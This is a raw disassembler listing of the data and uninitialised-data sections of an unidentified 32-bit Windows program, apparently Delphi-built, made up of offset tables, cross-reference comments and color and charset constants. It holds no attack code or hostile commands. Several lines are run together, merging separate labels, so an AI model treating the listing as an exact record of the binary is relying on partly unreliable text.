off_4001A8B4	dd offset off_40006D10	; DATA XREF: sub_4000A91C+5Do
					; .text:4000CB9Co
off_4001A8B8	dd offset off_40006D18	; DATA XREF: .text:4000CB90o
off_4001A8BC	dd offset off_40006D20	; DATA XREF: .text:4000CB84o
off_4001A8C0	dd offset off_40006D28	; DATA XREF: .text:4000CB78o
off_4001A8C4	dd offset off_40006D30	; DATA XREF: .text:4000CB6Co
off_4001A8C8	dd offset off_40006D38	; DATA XREF: .text:4000CB60o
off_4001A8CC	dd offset off_40006D40	; DATA XREF: .text:4000CB54o
off_4001A8D0	dd offset off_40006D48	; DATA XREF: .text:4000CB48o
off_4001A8D4	dd offset off_40006D50	; DATA XREF: .text:4000CB3Co
off_4001A8D8	dd offset off_40006D58	; DATA XREF: .text:4000CB30o
off_4001A8DC	dd offset off_40006D60	; DATA XREF: .text:4000CB24o
off_4001A8E0	dd offset off_40006D68	; DATA XREF: .text:4000CB18o
off_4001A8E4	dd offset off_40006D70	; DATA XREF: sub_4000A91C+A9o
					; .text:4000CB0Co
off_4001A8E8	dd offset off_40006D78	; DATA XREF: .text:4000CB00o
off_4001A8EC	dd offset off_40006D80	; DATA XREF: .text:4000CAF4o
off_4001A8F0	dd offset off_40006D88	; DATA XREF: .text:4000CAE8o
off_4001A8F4	dd offset off_40006D90	; DATA XREF: .text:4000CADCo
off_4001A8F8	dd offset off_40006D98	; DATA XREF: .text:4000CAD0o
off_4001A8FC	dd offset off_40006DA0	; DATA XREF: .text:4000CAC4o
off_4001A900	dd offset off_40006DA8	; DATA XREF: sub_4000A91C+CEo
					; .text:4000CAB8o
off_4001A904	dd offset off_40006DB0	; DATA XREF: .text:4000CAACo
off_4001A908	dd offset off_40006DB8	; DATA XREF: .text:4000CAA0o
off_4001A90C	dd offset off_40006DC0	; DATA XREF: .text:4000CA94o
off_4001A910	dd offset off_40006DC8	; DATA XREF: .text:4000CA88o
off_4001A914	dd offset off_40006DD0	; DATA XREF: .text:4000CA7Co
off_4001A918	dd offset off_40006DD8	; DATA XREF: .text:4000CA70o
dword_4001A91C	dd 2							; sub_4000CC50+147o
dword_4001A920	dd 0A3A7F8h						; .text:4000CA64o
		dd 3
dword_4001A928	dd 0A3A7D8h, 4	dword_4001A930	dd 0A3A7B8h, 5	dword_4001A938	dd 0A3A798h	dword_4001A93C	dd 64h							; sub_4000B470+Dr ...
dword_4001A940	dd 0A41B08h, 65hdword_4001A948	dd 0A2C038h, 6Ahdword_4001A950	dd 0A41AE0h	off_4001A954	dd offset dword_400070B4 ; DATA	XREF: sub_4000CC50+15Co
dword_4001A958	dd 0A3A778h			dd offset dword_4000710C
dword_4001A960	dd 0A3A758h			dd offset dword_40007164
dword_4001A968	dd 0A3A738h			dd offset dword_40007218
dword_4001A970	dd 0A48DB8h			dd offset dword_40007270
dword_4001A978	dd 0A48D88h			dd offset dword_400072C8
dword_4001A980	dd 0A41AB8h			dd offset dword_40007320
dword_4001A988	dd 0A41A90h			dd offset dword_400073D4
dword_4001A990	dd 0A41A68h			dd offset dword_4000748C
dword_4001A998	dd 0A3A718h			dd offset dword_400074EC
dword_4001A9A0	dd 0A41A40h			dd offset dword_400075A0
dword_4001A9A8	dd 0A3A6F8h			dd offset dword_40007544
dword_4001A9B0	dd 0A3A6D8h			dd offset dword_400075F8
dword_4001A9B8	dd 0A48D58h			dd offset dword_400075F8
dword_4001A9C0	dd 0A41A18h			dd offset dword_400075F8
dword_4001A9C8	dd 0A48D28h			dd offset dword_400075F8
dword_4001A9D0	dd 0A333A0h			dd offset dword_400075F8
dword_4001A9D8	dd 0A3A6B8h			dd offset dword_400075F8
dword_4001A9E0	dd 0A33368h			dd offset dword_40007654
dword_4001A9E8	dd 0A3A698h			dd offset dword_40006FFC
dword_4001A9F0	dd 0A419F0h			dd offset dword_40007710
dword_4001A9F8	dd 0A419C8h			dd offset dword_400077C4
dword_4001AA00	dd 0A48CF8h	dword_4001AA04	dd 0		dword_4001AA08	dd 80070057h						; sub_4000CEB8+3Dr ...
		align 10h
byte_4001AA10	db 1			; DATA XREF: sub_4000E9CC+9Fr
					; sub_4000ED90:loc_4000EE21r ...
		db 8Dh,	40h, 0
dword_4001AA14	dd 0							; sub_40011DFC+B1r ...
byte_4001AA18	db 0			; DATA XREF: sub_4001145C+43r
		db 8Dh,	40h, 0
dword_4001AA1C	dd 0FFFFFFFFh						; sub_40012C6C+3Er ...
off_4001AA20	dd offset aEmpty	; DATA XREF: sub_4001293C+38r
					; sub_40012E54+3Co
					; "Empty"
		dd offset dword_400127EC+8
		dd offset dword_400127FC+8
		dd offset dword_40012810+8
		dd offset dword_40012810+18h
		dd offset dword_40012810+28h
		dd offset dword_40012810+38h
		dd offset dword_40012854+8
		dd offset dword_40012864+8
		dd offset dword_40012864+18h
		dd offset dword_40012888+8
		dd offset dword_40012888+18h
		dd offset dword_40012888+28h
		dd offset dword_40012888+38h
		dd offset dword_40012888+48h
		dd offset dword_40012888+58h
		dd offset dword_40012888+64h
		dd offset dword_400128F8+8
		dd offset dword_40012908+8
		dd offset dword_40012918+8
		dd offset dword_4001292C+8
dword_4001AA74	dd 1000100h, 2 dup(10100h), 10000h, 0C08B0101hoff_4001AA88	dd offset aFalse_0	; DATA XREF: sub_40012F38+19o
					; "False"
		dd offset dword_40012F1C+8
off_4001AA90	dd offset dword_40012F34 ; DATA	XREF: sub_40012F38+2Eo
dword_4001AA94	dd 0		off_4001AA98	dd offset dword_40013F94 ; DATA	XREF: sub_40013FA4+19o
		dd offset dword_40013F94+0Ch
off_4001AAA0	dd offset dword_40014730 ; DATA	XREF: sub_40014740+19o
		dd offset dword_40014730+0Ch
		dd 0
		dd 0FFFFFFF5h
		dd 0
		db 2 dup(0)
byte_4001AAB6	db 1			; DATA XREF: sub_40014F60+7r
					; sub_40014F8C+C4r ...
byte_4001AAB7	db 6			; DATA XREF: sub_40014F60+Fo
					; sub_40014F8C+13Eo ...
aTahomasSerif	db 'Tahomas Serif',0
		align 4
		dd 4 dup(0)
dword_4001AAD8	dd 0							; sub_40014D7C+2o ...
		dd offset dword_4001491C+8
		dd 80h
		dd offset dword_4001491C+18h
		dd 8000h
		dd offset dword_40014940+8
		dd 8080h
		dd offset dword_40014940+18h
		dd 800000h
		dd offset dword_40014940+28h
		dd 800080h
		dd offset dword_40014940+38h
		dd 808000h
		dd offset dword_40014984+8
		dd 808080h
		dd offset dword_40014984+18h
		dd 0C0C0C0h
		dd offset dword_40014984+28h
		dd 0FFh
		dd offset dword_400149B8+8
		dd 0FF00h
		dd offset dword_400149B8+18h
		dd 0FFFFh
		dd offset dword_400149B8+28h
		dd 0FF0000h
		dd offset dword_400149EC+8
		dd 0FF00FFh
		dd offset dword_400149EC+18h
		dd 0FFFF00h
		dd offset dword_400149EC+2Ch
		dd 0FFFFFFh
		dd offset dword_400149EC+3Ch
		dd 0C0DCC0h
		dd offset dword_400149EC+4Ch
		dd 0F0CAA6h
		dd offset dword_40014A48+8
		dd 0F0FBFFh
		dd offset dword_40014A48+1Ch
		dd 0A4A0A0h
		dd offset dword_40014A48+2Ch
		dd 0FF00000Ah
		dd offset dword_40014A48+40h
		dd 0FF000002h
		dd offset dword_40014A48+58h
		dd 0FF00000Ch
		dd offset dword_40014A48+70h
		dd 0FF000001h
		dd offset dword_40014A48+88h
		dd 0FF00000Fh
		dd offset dword_40014AE0+8
		dd 0FF000014h
		dd offset dword_40014AE0+1Ch
		dd 0FF000010h
		dd offset dword_40014AE0+34h
		dd 0FF000012h
		dd offset dword_40014AE0+48h
		dd 0FF000009h
		dd offset dword_40014AE0+5Ch
		dd 20000000h
		dd offset dword_40014AE0+74h
		dd 0FF00001Bh
		dd offset dword_40014AE0+88h
		dd 0FF00001Ch
		dd offset dword_40014AE0+0A8h
		dd 0FF000011h
		dd offset dword_40014AE0+0CCh
		dd 0FF00000Dh
		dd offset dword_40014AE0+0E0h
		dd 0FF00000Eh
		dd offset dword_40014AE0+0F4h
		dd 0FF00001Ah
		dd offset dword_40014AE0+10Ch
		dd 0FF00000Bh
		dd offset dword_40014AE0+120h
		dd 0FF000003h
		dd offset dword_40014C14+8
		dd 0FF000013h
		dd offset dword_40014C14+24h
		dd 0FF000018h
		dd offset dword_40014C14+44h
		dd 0FF000017h
		dd offset dword_40014C64+8
		dd 0FF000004h
		dd offset dword_40014C64+1Ch
		dd 0FF00001Eh
		dd offset dword_40014C64+2Ch
		dd 0FF00001Dh
		dd offset dword_40014C64+40h
		dd 0FF000007h
		dd offset dword_40014C64+58h
		dd 1FFFFFFFh
		dd offset dword_40014C64+6Ch
		dd 0FF000000h
		dd offset dword_40014C64+7Ch
		dd 0FF000015h
		dd offset dword_40014C64+90h
		dd 0FF000016h
		dd offset dword_40014D04+8
		dd 0FF000005h
		dd offset dword_40014D04+1Ch
		dd 0FF000006h
		dd offset dword_40014D2C+8
		dd 0FF000008h
		dd offset dword_40014D2C+20h
dword_4001AC78	dd 0							; .text:40014F52o ...
		dd offset dword_40014D8C+8
		dd 1
		dd offset dword_40014DA4+8
		dd 2
		dd offset dword_40014DA4+20h
		dd 4Dh
		dd offset dword_40014DA4+38h
		dd 80h
		dd offset dword_40014DA4+4Ch
		dd 81h
		dd offset dword_40014E04+8
		dd 82h
		dd offset dword_40014E04+20h
		dd 86h
		dd offset dword_40014E04+38h
		dd 88h
		dd offset dword_40014E04+50h
		dd 0A1h
		dd offset dword_40014E04+6Ch
		dd 0A2h
		dd offset dword_40014E04+84h
		dd 0B1h
		dd offset dword_40014E04+9Ch
		dd 0B2h
		dd offset dword_40014E04+0B4h
		dd 0BAh
		dd offset dword_40014E04+0CCh
		dd 0CCh
		dd offset dword_40014E04+0E4h
		dd 0DEh
		dd offset dword_40014E04+0FCh
		dd 0EEh
		dd offset aEasteurope_cha ; "EASTEUROPE_CHARSET"
		dd 0FFh
		dd offset dword_40014F2C+8
word_4001AD08	dw 0			; DATA XREF: sub_400151D0+3Dr
		dw 1
		dd 30002h, 50004h, 70006h, 0C08B0008h
word_4001AD1C	dw 1			; DATA XREF: sub_400155D0+1Cr
		dw 10h
		dd 6000Bh, 4000Dh, 5000Eh, 3000Ch, 2000Fh, 80009h, 0A0007h
dword_4001AD3C	dd 0		dword_4001AD40	dd 0		dword_4001AD44	dd 0A41C68h						; sub_40015794:loc_40015827r ...
		dd 0
		dd 80h,	8000h, 8080h, 800000h, 800080h,	808000h, 808080h
		dd 0C0C0C0h, 0FFh, 0FF00h, 0FFFFh, 0FF0000h, 0FF00FFh
		dd 0FFFF00h, 0FFFFFFh
dword_4001AD88	dd 774FFA6Bh	dword_4001AD8C	dd 774FEF6Bh						; sub_40016A34+18r ...
dword_4001AD90	dd 77596178h	dword_4001AD94	dd 77596182h	dword_4001AD98	dd 775274DCh	dword_4001AD9C	dd 77527567h	dword_4001ADA0	dd 0FFFFFFFFh						; sub_40016A34+21r ...
dword_4001ADA4	dd 0				dd offset dword_40015E44+14h
		dd offset dword_40015E44+28h
		dd offset dword_40015E74+8
		dd offset dword_40015E84+8
dword_4001ADB8	dd 40h dup(0)	off_4001AEB8	dd offset off_40006CC8	; DATA XREF: .text:4000CC0Co
off_4001AEBC	dd offset off_40006BE8	; DATA XREF: .text:4000C9C0o
					; sub_4000E0EC+16r
off_4001AEC0	dd offset off_40006C30	; DATA XREF: sub_4000DBF4+56r
off_4001AEC4	dd offset off_40006B30	; DATA XREF: .text:4000CA58o
off_4001AEC8	dd offset off_40006D18	; DATA XREF: .text:4000CB94o
off_4001AECC	dd offset off_40006D58	; DATA XREF: .text:4000CB34o
off_4001AED0	dd offset off_40006DC0	; DATA XREF: .text:4000CA98o
off_4001AED4	dd offset byte_4001C038	; DATA XREF: .itext:400193CBr
off_4001AED8	dd offset off_40006CE8	; DATA XREF: .text:4000CBDCo
off_4001AEDC	dd offset off_4001C02C	; DATA XREF: sub_4000B72C+79r
off_4001AEE0	dd offset off_40006C68	; DATA XREF: sub_4000B654+71r
					; .text:4000C998o
off_4001AEE4	dd offset off_4001A014	; DATA XREF: sub_40019144+5Ar
off_4001AEE8	dd offset off_40006DD0	; DATA XREF: .text:4000CA80o
off_4001AEEC	dd offset off_4001C008	; DATA XREF: sub_4000B72C+2Er
					; sub_4000B7B0:loc_4000B7F6r
off_4001AEF0	dd offset off_40006DA8	; DATA XREF: .text:4000CABCo
off_4001AEF4	dd offset off_40006CD0	; DATA XREF: .text:4000CC00o
off_4001AEF8	dd offset off_4001C000	; DATA XREF: sub_40016AB0+33r
					; .itext:400193B3r
off_4001AEFC	dd offset off_40006C60	; DATA XREF: sub_4000DDD4+1ADr
off_4001AF00	dd offset off_40006C40	; DATA XREF: sub_4000DDD4+CCr
off_4001AF04	dd offset dword_4001F274 ; DATA	XREF: sub_400113EC+1Br
off_4001AF08	dd offset off_40015D08	; DATA XREF: sub_40015EE4+5Ar
off_4001AF0C	dd offset off_40006B48	; DATA XREF: .text:4000CA40o
off_4001AF10	dd offset off_40006DB0	; DATA XREF: .text:4000CAB0o
off_4001AF14	dd offset off_40006D90	; DATA XREF: .text:4000CAE0o
off_4001AF18	dd offset off_40006DB8	; DATA XREF: .text:4000CAA4o
off_4001AF1C	dd offset off_4001C01C	; DATA XREF: sub_4000B72C+44r
					; sub_4000B7B0+58r
off_4001AF20	dd offset byte_4001C04D	; DATA XREF: sub_40016A34+3Cr
					; sub_40016A34:loc_40016A92r
off_4001AF24	dd offset off_40006B18	; DATA XREF: sub_4000B230+44r
off_4001AF28	dd offset off_40006BD0	; DATA XREF: sub_4000AF68+83r
off_4001AF2C	dd offset off_40006B10	; DATA XREF: sub_4000B72Cr
					; sub_4000DDD4+164r
off_4001AF30	dd offset off_40006CF0	; DATA XREF: .text:4000CBD0o
off_4001AF34	dd offset off_40006B50	; DATA XREF: .text:4000CA38o
off_4001AF38	dd offset off_40006BD8	; DATA XREF: .text:4000CC48o
off_4001AF3C	dd offset dword_4001F268 ; DATA	XREF: sub_40010874+3Br
off_4001AF40	dd offset off_40006C90	; DATA XREF: sub_4000B3D8r
off_4001AF44	dd offset off_40006C48	; DATA XREF: .text:4000C9B0o
					; sub_4000DDD4+18Ar
off_4001AF48	dd offset off_40006D40	; DATA XREF: .text:4000CB58o
off_4001AF4C	dd offset dword_4001C21C ; DATA	XREF: sub_4000AF68+1Er
off_4001AF50	dd offset off_40006D60	; DATA XREF: .text:4000CB28o
off_4001AF54	dd offset off_4001C00C	; DATA XREF: sub_4000B72C+51r
					; sub_4000B7B0+61r
off_4001AF58	dd offset off_40006D20	; DATA XREF: .text:4000CB88o
off_4001AF5C	dd offset off_4001C004	; DATA XREF: sub_4000B72C+39r
					; sub_4000B7B0+4Fr
off_4001AF60	dd offset off_4001C010	; DATA XREF: sub_4000B72C+5Cr
					; sub_4000B7B0+6Ar
off_4001AF64	dd offset off_40015D20	; DATA XREF: sub_40016280+4Cr
					; sub_400166E8+1Ar
off_4001AF68	dd offset off_40013F84	; DATA XREF: sub_4001552C+2Er
off_4001AF6C	dd offset off_40006D68	; DATA XREF: .text:4000CB1Co
off_4001AF70	dd offset off_40006BB0	; DATA XREF: .text:4000C9D8o
off_4001AF74	dd offset off_40006BA8	; DATA XREF: .text:4000C9F0o
off_4001AF78	dd offset off_40006BB8	; DATA XREF: .text:4000C9E0o
off_4001AF7C	dd offset off_40012EDC	; DATA XREF: sub_400140B4+11r
off_4001AF80	dd offset off_40006DA0	; DATA XREF: .text:4000CAC8o
off_4001AF84	dd offset off_40006B20	; DATA XREF: .text:4000CA68o
off_4001AF88	dd offset off_40006B68	; DATA XREF: .text:4000CA20o
off_4001AF8C	dd offset off_40006BE0	; DATA XREF: .text:4000CC3Co
off_4001AF90	dd offset off_40012ED4	; DATA XREF: sub_40013A1C+51r
off_4001AF94	dd offset off_40006C00	; DATA XREF: .text:4000C9B8o
					; sub_4000DD80+16r
off_4001AF98	dd offset off_40006C28	; DATA XREF: sub_4000DDD4+1FFr
off_4001AF9C	dd offset off_40006D10	; DATA XREF: .text:4000CBA0o
off_4001AFA0	dd offset off_40012EEC	; DATA XREF: sub_400138D4:loc_400138E8r
off_4001AFA4	dd offset off_40006C78	; DATA XREF: .text:4000C990o
off_4001AFA8	dd offset dword_4001A7CC ; DATA	XREF: sub_40016280+2A2r
					; sub_400165F0+ADr
off_4001AFAC	dd offset off_40012ECC	; DATA XREF: sub_40013B54+89r
off_4001AFB0	dd offset off_40006D38	; DATA XREF: .text:4000CB64o
off_4001AFB4	dd offset off_40006C20	; DATA XREF: .text:4000C9C8o
					; sub_4000DC90+16r
off_4001AFB8	dd offset off_4001C044	; DATA XREF: .itext:400193D5r
					; .itext:400193E1r
off_4001AFBC	dd offset off_40006D28	; DATA XREF: .text:4000CB7Co
off_4001AFC0	dd offset dword_4001F270 ; DATA	XREF: sub_4000FCA4+33r
off_4001AFC4	dd offset off_40006D48	; DATA XREF: .text:4000CB4Co
off_4001AFC8	dd offset dword_4001F278 ; DATA	XREF: sub_40011424+1Br
off_4001AFCC	dd offset off_40012F04	; DATA XREF: sub_4001464C+48r
off_4001AFD0	dd offset off_4001A010	; DATA XREF: sub_40019144+4Dr
off_4001AFD4	dd offset off_40006C18	; DATA XREF: .text:4000C9D0o
					; sub_4000DBA0+16r
off_4001AFD8	dd offset off_40006CB8	; DATA XREF: .text:4000CC24o
off_4001AFDC	dd offset off_40006CF8	; DATA XREF: .text:4000CBC4o
off_4001AFE0	dd offset off_40006D88	; DATA XREF: .text:4000CAECo
off_4001AFE4	dd offset off_40012EE4	; DATA XREF: sub_40013898:loc_400138ABr
off_4001AFE8	dd offset off_40006B40	; DATA XREF: .text:4000CA48o
off_4001AFEC	dd offset off_40006B80	; DATA XREF: .text:4000CA08o
off_4001AFF0	dd offset dword_4001F264 ; DATA	XREF: sub_4000F6A8+7Er
					; sub_400101AC+38r
off_4001AFF4	dd offset off_40006C58	; DATA XREF: sub_4000DDD4+13Er
off_4001AFF8	dd offset off_40006D30	; DATA XREF: .text:4000CB70o
off_4001AFFC	dd offset off_40006B90	; DATA XREF: sub_4000B72C+17r
off_4001B000	dd offset off_40006D98	; DATA XREF: .text:4000CAD4o
off_4001B004	dd offset off_40006B88	; DATA XREF: .text:4000CA00o
off_4001B008	dd offset off_40006D70	; DATA XREF: .text:4000CB10o
off_4001B00C	dd offset off_4001C024	; DATA XREF: sub_4000B72C+6Cr
					; sub_4000B7B0+73r
off_4001B010	dd offset off_40006C80	; DATA XREF: .text:4000C988o
off_4001B014	dd offset off_40006C38	; DATA XREF: sub_4000DCE4+56r
off_4001B018	dd offset off_4001A018	; DATA XREF: sub_40019144+67r
off_4001B01C	dd offset off_40006BF8	; DATA XREF: sub_4000B488+54r
off_4001B020	dd offset off_40006BA0	; DATA XREF: sub_4000B488+16Cr
off_4001B024	dd offset off_4001A020	; DATA XREF: sub_40019144+81r
off_4001B028	dd offset off_40006DC8	; DATA XREF: .text:4000CA8Co
off_4001B02C	dd offset off_4001F294	; DATA XREF: sub_40016AB0+3Cr
					; .itext:400193ABr
off_4001B030	dd offset off_40006CA0	; DATA XREF: sub_4000C41C+41r
off_4001B034	dd offset off_40006B38	; DATA XREF: .text:4000CA50o
off_4001B038	dd offset off_40006C70	; DATA XREF: sub_4000B300+38r
					; .text:4000C9A0o
off_4001B03C	dd offset off_40006D50	; DATA XREF: .text:4000CB40o
off_4001B040	dd offset off_40006D78	; DATA XREF: .text:4000CB04o
off_4001B044	dd offset off_40015D10	; DATA XREF: sub_400165BC+19r
off_4001B048	dd offset byte_4001C04C	; DATA XREF: sub_4000AF68+14r
off_4001B04C	dd offset off_40006D80	; DATA XREF: .text:4000CAF8o
off_4001B050	dd offset off_40006C08	; DATA XREF: .text:4000C9A8o
					; sub_4000DDD4+F2r
off_4001B054	dd offset off_4001C020	; DATA XREF: sub_40016AB0+2Ar
					; .itext:400193C3r
off_4001B058	dd offset dword_4001F27C ; DATA	XREF: sub_4001145C+2Dr
off_4001B05C	dd offset off_40012EF4	; DATA XREF: sub_40013708:loc_40013718r
					; sub_400137FC:loc_4001380Br
off_4001B060	dd offset off_40006C98	; DATA XREF: sub_4000B488+110r
off_4001B064	dd offset dword_4001F228 ; DATA	XREF: sub_4000E8E0+31r
					; sub_4000E8E0+5Dr ...
off_4001B068	dd offset off_40006CE0	; DATA XREF: .text:4000CBE8o
off_4001B06C	dd offset off_40006C88	; DATA XREF: sub_4000B300+63r
off_4001B070	dd offset off_40006D00	; DATA XREF: .text:4000CBB8o
off_4001B074	dd offset off_4001A038	; DATA XREF: sub_4000C230+7r
off_4001B078	dd offset off_40006DD8	; DATA XREF: .text:4000CA74o
off_4001B07C	dd offset off_40015D18	; DATA XREF: sub_400166D0r
off_4001B080	dd offset off_40006CC0	; DATA XREF: .text:4000CC18o
off_4001B084	dd offset off_40006B28	; DATA XREF: .text:4000CA60o
off_4001B088	dd offset off_40006BC0	; DATA XREF: .text:4000C9E8o
off_4001B08C	dd offset off_40006B60	; DATA XREF: .text:4000CA28o
off_4001B090	dd offset off_40006C50	; DATA XREF: sub_4000DDD4+9Cr
off_4001B094	dd offset off_40006B58	; DATA XREF: .text:4000CA30o
off_4001B098	dd offset off_40006D08	; DATA XREF: .text:4000CBACo
off_4001B09C	dd offset off_4001A84C	; DATA XREF: sub_4000DDD4:loc_4000DFA1r
					; sub_4001293C+D8r
off_4001B0A0	dd offset dword_4001F26C ; DATA	XREF: sub_40010E0C+38r
off_4001B0A4	dd offset off_40006CA8	; DATA XREF: sub_4000C41C:loc_4000C473r
off_4001B0A8	dd offset off_40006B70	; DATA XREF: .text:4000CA18o
off_4001B0AC	dd offset off_40006CB0	; DATA XREF: .text:4000CC30o
off_4001B0B0	dd offset dword_4001F25C ; DATA	XREF: sub_4000EBF8+33r
					; sub_4000F6A8+56r
off_4001B0B4	dd offset off_4001A01C	; DATA XREF: sub_400082E4+1r
					; sub_400082E4+Cr ...
off_4001B0B8	dd offset off_40006BC8	; DATA XREF: sub_4000ADE0+DEr
off_4001B0BC	dd offset off_40006B98	; DATA XREF: .text:4000C9F8o
off_4001B0C0	dd offset off_40006C10	; DATA XREF: sub_4000DDD4+118r
off_4001B0C4	dd offset off_40006B78	; DATA XREF: .text:4000CA10o
off_4001B0C8	dd offset dword_4001A7E4 ; DATA	XREF: sub_40014F8C:loc_400150FAr
off_4001B0CC	dd offset off_40006BF0	; DATA XREF: sub_4000B488+45r
off_4001B0D0	dd offset off_40006CD8	; DATA XREF: .text:4000CBF4o
off_4001B0D4	dd offset off_40012EFC	; DATA XREF: sub_400146B4+41r
		align 200h
_data		ends

; Section 4. (virtual address 0001C000)
; Virtual size			: 00007E54 (  32340.)
; Section size in file		: 00007E54 (  32340.)
; Offset to raw	data for section: 0001C000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_bss		segment	para public '' use32
		assume cs:_bss
		;org 4001C000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
off_4001C000	dd offset sub_40016958	; DATA XREF: .itext:40019034w
					; .data:off_4001AEF8o
off_4001C004	dd offset sub_4000B71C	; DATA XREF: .text:400044AAr
					; .data:off_4001AF5Co
off_4001C008	dd offset sub_4000B2B0	; DATA XREF: sub_40002D04+9r
					; sub_40002D04+16r ...
off_4001C00C	dd offset sub_4000B470	; DATA XREF: .data:off_4001AF54o
off_4001C010	dd offset sub_4000B654	; DATA XREF: sub_400040D8+25r
					; .text:40004488r ...
off_4001C014	dd offset sub_40001168	; DATA XREF: sub_40003FE8+14r
					; sub_40004004+16r ...
off_4001C018	dd offset sub_40001178	; DATA XREF: sub_400040D8+D2r
					; .text:40004470r ...
off_4001C01C	dd offset dword_40006E2C ; DATA	XREF: .data:off_4001AF1Co
off_4001C020	dd offset sub_40016180	; DATA XREF: .data:off_4001B054o
off_4001C024	dd offset sub_4000B3BC	; DATA XREF: .data:off_4001B00Co
dword_4001C028	dd 0							; sub_40004790+B4r
off_4001C02C	dd offset sub_4000B3D8	; DATA XREF: sub_400030B4r
					; sub_400030B4+9r ...
dword_4001C030	dd 40000000h	dword_4001C034	dd 364h		byte_4001C038	db 0			; DATA XREF: sub_400045E4+33w
					; .data:off_4001AED4o
		align 4
dword_4001C03C	dd 0Ah		dword_4001C040	dd 142340h	off_4001C044	dd offset sub_40016A34	; DATA XREF: .data:off_4001AFB8o
dword_4001C048	dd 0		byte_4001C04C	db 0			; DATA XREF: sub_40004704+1r
					; .data:off_4001B048o
byte_4001C04D	db 0			; DATA XREF: sub_40001654r
					; sub_40001734+Cr ...
byte_4001C04E	db 2			; DATA XREF: .itext:4001902Dw
		align 10h
dword_4001C050	dd 0							; sub_40006350+19o
word_4001C054	dw 0D7B0h		; DATA XREF: .itext:40019051w
		align 4
		dd 71h dup(0)
dword_4001C21C	dd 0							; sub_40004704+1Eo ...
word_4001C220	dw 0D7B0h		; DATA XREF: sub_40004704+Ar
					; .itext:4001905Aw
		align 8
dword_4001C228	dd 0				dd 3 dup(0)
dword_4001C238	dd 0				dd 6Bh dup(0)
dword_4001C3E8	dd 0							; sub_40003390+26o ...
word_4001C3EC	dw 0D7B0h		; DATA XREF: .itext:40019063w
		align 10h
		dd 71h dup(0)
byte_4001C5B4	db 0			; DATA XREF: sub_40002BB4:loc_40002BCFr
		align 4
dword_4001C5B8	dd 0FFFFFFFFh						; .itext:loc_40019000w
dword_4001C5BC	dd 4E4h							; sub_400049C4+Cr ...
byte_4001C5C0	db 0			; DATA XREF: sub_40001734+1Ar
					; sub_400029B8:loc_400029E1w
		align 2
		dw 804h
		dd 1814100Ch, 2824201Ch, 3834302Ch, 4844403Ch, 50504C4Ch
		dd 58585454h, 60605C5Ch, 68686464h, 70706C6Ch, 74747474h
		dd 78787878h, 7C7C7C7Ch, 80808080h, 84848484h, 88888888h
		dd 8C8C8888h, 8C8C8C8Ch, 90909090h, 94949090h, 94949494h
		dd 2 dup(98989898h), 2 dup(9C9C9C9Ch), 2 dup(0A0A0A0A0h)
		dd 0A4A4A0A0h, 2 dup(0A4A4A4A4h), 3 dup(0A8A8A8A8h), 3 dup(0ACACACACh)
		dd 3 dup(0B0B0B0B0h), 0B4B4B0B0h, 3 dup(0B4B4B4B4h), 4 dup(0B8B8B8B8h)
		dd 4 dup(0BCBCBCBCh), 0C0C0BCBCh, 4 dup(0C0C0C0C0h), 0C4C4C0C0h
		dd 5 dup(0C4C4C4C4h), 6	dup(0C8C8C8C8h), 6 dup(0CCCCCCCCh)
		dd 0D0D0CCCCh, 6 dup(0D0D0D0D0h)
		db 2 dup(0D0h)
byte_4001C706	db 0			; DATA XREF: sub_400029B8:loc_400029C3r
		align 4
dword_4001C708	dd 910000h						; sub_40002540:loc_4000261Fo ...
dword_4001C70C	dd 910000h						; sub_400015DC+2Dw ...
		dd 2 dup(0)
byte_4001C718	db 0			; DATA XREF: sub_40001734+DCw
					; sub_40001734+F2w ...
		align 4
dword_4001C71C	dd 95C430h						; sub_40001570+51r ...
dword_4001C720	dd 4C420h						; sub_40001570+1Br ...
dword_4001C724	dd 20008h						; sub_40001510+59w ...
dword_4001C728	dd 0							; sub_40001510+49w ...
		dd 2 dup(0)
		dd 100h, 0Dh dup(0)
		dd 20000h, 0Eh dup(0)
off_4001C7A8	dd offset off_4001C7A8	; DATA XREF: sub_400014D0:loc_400014E0o
					; sub_40001510+19o ...
		dd offset off_4001C7A8
off_4001C7B0	dd offset off_4001C7B0	; DATA XREF: .bss:off_4001C7B0o
					; .bss:4001C7B4o
		dd offset off_4001C7B0
off_4001C7B8	dd offset off_4001C7B8	; DATA XREF: .bss:off_4001C7B8o
					; .bss:4001C7BCo
		dd offset off_4001C7B8
off_4001C7C0	dd offset off_4001C7C0	; DATA XREF: .bss:off_4001C7C0o
					; .bss:4001C7C4o
		dd offset off_4001C7C0
off_4001C7C8	dd offset off_4001C7C8	; DATA XREF: .bss:off_4001C7C8o
					; .bss:4001C7CCo
		dd offset off_4001C7C8
off_4001C7D0	dd offset off_4001C7D0	; DATA XREF: .bss:off_4001C7D0o
					; .bss:4001C7D4o
		dd offset off_4001C7D0
off_4001C7D8	dd offset off_4001C7D8	; DATA XREF: .bss:off_4001C7D8o
					; .bss:4001C7DCo
		dd offset off_4001C7D8
off_4001C7E0	dd offset off_4001C7E0	; DATA XREF: .bss:off_4001C7E0o
					; .bss:4001C7E4o
		dd offset off_4001C7E0
off_4001C7E8	dd offset off_4001C7E8	; DATA XREF: .bss:off_4001C7E8o
					; .bss:4001C7ECo
		dd offset off_4001C7E8
off_4001C7F0	dd offset off_4001C7F0	; DATA XREF: .bss:off_4001C7F0o
					; .bss:4001C7F4o
		dd offset off_4001C7F0
off_4001C7F8	dd offset off_4001C7F8	; DATA XREF: .bss:off_4001C7F8o
					; .bss:4001C7FCo
		dd offset off_4001C7F8
off_4001C800	dd offset off_4001C800	; DATA XREF: .bss:off_4001C800o
					; .bss:4001C804o
		dd offset off_4001C800
off_4001C808	dd offset off_4001C808	; DATA XREF: .bss:off_4001C808o
					; .bss:4001C80Co
		dd offset off_4001C808
off_4001C810	dd offset off_4001C810	; DATA XREF: .bss:off_4001C810o
					; .bss:4001C814o
		dd offset off_4001C810
off_4001C818	dd offset off_4001C818	; DATA XREF: .bss:off_4001C818o
					; .bss:4001C81Co
		dd offset off_4001C818
off_4001C820	dd offset off_4001C820	; DATA XREF: .bss:off_4001C820o
					; .bss:4001C824o
		dd offset off_4001C820
off_4001C828	dd offset off_4001C828	; DATA XREF: .bss:off_4001C828o
					; .bss:4001C82Co
		dd offset off_4001C828
off_4001C830	dd offset off_4001C830	; DATA XREF: .bss:off_4001C830o
					; .bss:4001C834o
		dd offset off_4001C830
